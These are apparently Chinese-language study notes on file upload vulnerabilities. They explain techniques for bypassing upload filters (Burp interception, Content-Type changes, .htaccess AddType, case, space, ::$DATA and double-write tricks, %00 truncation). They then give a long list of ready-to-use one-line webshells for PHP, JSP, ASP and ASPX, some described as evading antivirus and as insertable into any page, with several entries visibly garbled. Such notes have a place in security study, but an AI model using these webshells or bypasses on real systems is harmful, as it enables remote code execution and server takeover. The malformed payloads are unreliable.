文件上传漏洞
<?php @eval(&_POST['a']);?>
为什么用POST传参不用GET(http
协议的请求方式):,get请求在url
中,url
长度限制取决于浏览器端,一般限制在1024字节,超过部分截断,故无法处理上传文件。
文件包含
把webshell.php
压缩成zip上传上去(后缀名不是.php
不会进行php
解析)
文件包含漏洞-->伪协议-->zip
(可以识别.zip
压缩包然后读取里面的PHP
文件)
burp抓包
为什么burp抓包可以绕过(仅限前端防范)
js/css/html
(浏览器处理)-->burp抓包(改掉后缀名)-->服务器端 涉及到先后顺序所以可以成功
Content-Type就是文件类型 可以修改为可上传的
检查后缀
黑名单
.htaccess文件上传
:创建一个该文件 内容含有该命令
AddType application/x-httpd-php .png
这条指令告诉 Apache 服务器将.png
文件视为PHP 脚本
文件来解析执行。
php
中转换为小写的函数
strtolower($string)
如果没有该函数可以采用大小写混合的后缀名进行绕过
php空格绕过
:如果文件名中包含.php
这样的关键词,系统可能会将其识别为PHP
文件,从而禁止上传。但是,如果文件名中包含了空格或其他字符,系统可能无法正确识别文件类型,从而允许上传。
Windows特性(::$DATA)绕过
-
在
NTFS
文件系统中,每个文件都有一个默认的数据流(DATA)。在windows中,文件名后面加上"(::DATA)。在Windows中,文件名后面加上"(::DATA)"会被系统认为是文件的默认数据流,而不是文件的扩展名。因此,服务端在检测文件后缀名时会忽略掉"(::$DATA)"后面的内容,导致可以成功绕过检测。
双写绕过
当没有循环验证时,就是转换大小写去除空格什么的它只验证一次,所以把后缀改为.phP . .
str_ireplace($search, $replace, $subject, $count);
该函数默认从左到右只遍历一次
如pphphp
删掉中间的php
后还是php
函数小结
trim(): :删除字符串两端的空格或其他预定义字符。用trim()函移除字符。我们没有添加移除的字符,就默认移除下列字符"\0" - NULL、"\t" - 制表符、"\n" - 换行、"\x0B" - 垂直制表符、"\r" - 回车、" " - 空格(ltrm、rtrim)
deldot()
:把文件后面的点删除windows的特性会自动对后缀名去"." 处理比如:webshell.php.
。
strrchr() :查找字符串在另一个字符串中最后-次出现的位置,并返回从该位置到字符串结尾的所有字符(截取后缀)
str_ireplace():替换字符串中的一些字符(不区分大小写)。遵循的一些规则如果搜索的字符串是一个数组那么它会返回一个数组,且对数组中的每个元素进行查找和替换。(str_replace区分大小写)用str_ireplace(’::$DATA’, ‘’, f i l e e x t ) 函 数 防 止 在 后 缀 中 添 加 " : : file_ext)函数防止在后缀中添加"::file_ext)函数防止在后缀中添加"::DATA"绕过利用windows特性,可在后缀名中加” ::$DATA”绕过
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。strrpos() 函数对大小写敏感。
stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写) strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写) strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写) getimagesize() :用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
白名单
使用%00截断 需要的条件:
php
版本小于5.3.4 php的magic_quotes_gpc
为OFF状态
save_path是一个可控的变量 即可以被修改
满足条件后先上传一个.png
文件开始抓包,在save_path这里修改
当save_path
是通过post传进来的,利用%00截断,但需要在二进制中进行修改,因为post不会像get对%00进行自动解码
或者按以下方法
检查内容
一句话木马
##PHP: <?php @eval($_POST['r00ts']);?> <?php phpinfo();?> <?php @eval($_POST[cmd]);?> <?php @eval($_REQUEST[cmd]);?> <?php assert($_REQUEST[cmd]); ?> <?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?> <?php //?cmd=phpinfo(); $func =create_function('',$_REQUEST['cmd']); $func(); ?> <?php //?func=system&cmd=whoami $func=$_GET['func']; $cmd=$_GET['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); //print_r($new_array); ?> <?php //?cmd=phpinfo() @call_user_func(assert,$_GET['cmd']); ?> <?php //?cmd=phpinfo() $cmd=$_GET['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array); ?> <?php //?func=system&cmd=whoami $cmd=$_GET['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func); ?> <?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用 <?php usort(...$_GET);?> php环境>=5.6才能用 <?php eval($_POST1);?> <?php if(isset($_POST['c'])){eval($_POST['c']);}?> <?php system($_REQUEST1);?> <?php ($_=@$_GET1).@$_($_POST1)?> <?php eval_r($_POST1)?> <?php @eval_r($_POST1)?>//容错代码 <?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句 <?$_POST['c']($_POST['cc']);?> <?$_POST['c']($_POST['cc'],$_POST['cc'])?> <?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O> <?php echo `$_GET['r']` ?> <script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话 <?php (])?> 上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的! <?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?> 加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错! <%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%> 无防下载表,有防下载表可尝试插入以下语句突破的一句话 <%eval(request(“1″)):response.end%> 备份专用
##JSP: <%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%> 提交客户端 <form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>
##ASP <%eval(Request.Item["r00ts"],”unsafe”);%> <%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%> <%execute(request(“1″))%> <scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句话
##aspx <scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script> <script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script> <%eval request(chr(35))%> 不用双引号的一句话。